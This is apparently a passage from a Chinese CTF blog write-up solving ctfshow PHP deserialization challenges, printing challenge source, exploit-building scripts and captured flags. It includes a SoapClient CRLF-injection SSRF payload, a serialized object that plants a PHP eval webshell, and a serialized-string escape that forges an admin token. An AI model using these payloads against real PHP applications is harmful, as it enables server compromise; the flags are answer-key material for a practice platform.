POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: K1nako
Content-Type:application/x-www-form-urlencoded
Content-Length:13	//长度为13:token=ctfshow,限制长度过滤剩下没用的内容
token=ctfshow
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1:9999/#getflag"
Content-Length: 389
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1:9999/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getflag/></SOAP-ENV:Body></SOAP-ENV:Envelope>
最终构造payload如下
<?php
//token=ctfshow
$ua = "K1nako\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
//$client->getflag();
echo urlencode(serialize($client));
?>
ctfshow{4ee6966f-f129-4019-bf80-76aaebe2ed23}

# web260

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}
payload:
?ctfshow=ctfshow_i_love_36D
ctfshow{5bb8fa71-ba31-4453-b382-ea93289a2672}

# web261

<?php
highlight_file(__FILE__);
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }
    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
unserialize($_GET['vip']);
if($this->code==0x36d)的0x36d没有引号说明是整型,36d转十进制是877,所以只需要a=877.php,b写一句话木马连接即可
构造payload:
<?php
class ctfshowvip{
    public $username;
    public $password;
    public $code;
    public function __construct($u='877.php',$p='<?php eval($_POST[K1nako]);?>'){
        $this->username=$u;
        $this->password=$p;
    } 
}
$a = new ctfshowvip();
$str = urlencode(serialize($a));
echo $str;
?>
传入vip的序列化值后访问877.php然后连接即可

image-20230204163609509

ctfshow{42c743fe-fdb8-4c93-8e10-df905d5c28aa}

# web262

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
反序列化字符串逃逸
我们需要将token=admin,s:5:"token";s:5:"admin"
目前只有from、msg、to是可控的
假如我们向to属性传递t=3";s:5:"token";s:5:"admin";}我们就可以将字符串进行闭合就能控制token的值,然后发现to的长度变成了27
$umsg = str_replace('fuck', 'loveU', serialize($msg));
利用替换函数fuck替换成loveU这样就会增加一个字符串
<?php
class message{
    public $from = '1';
    public $msg = '1';
    public $to = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck';
    public $token='user';
}
$a = new message();
$str = serialize($a);
$str1 = str_replace('fuck', 'loveU', $str);
echo $str1;
?>
最终构造payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
ctfshow{d87728c3-9d2a-469c-829a-690743aae333}

# java

# web279

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

K1nako 微信支付

微信支付

K1nako 支付宝

支付宝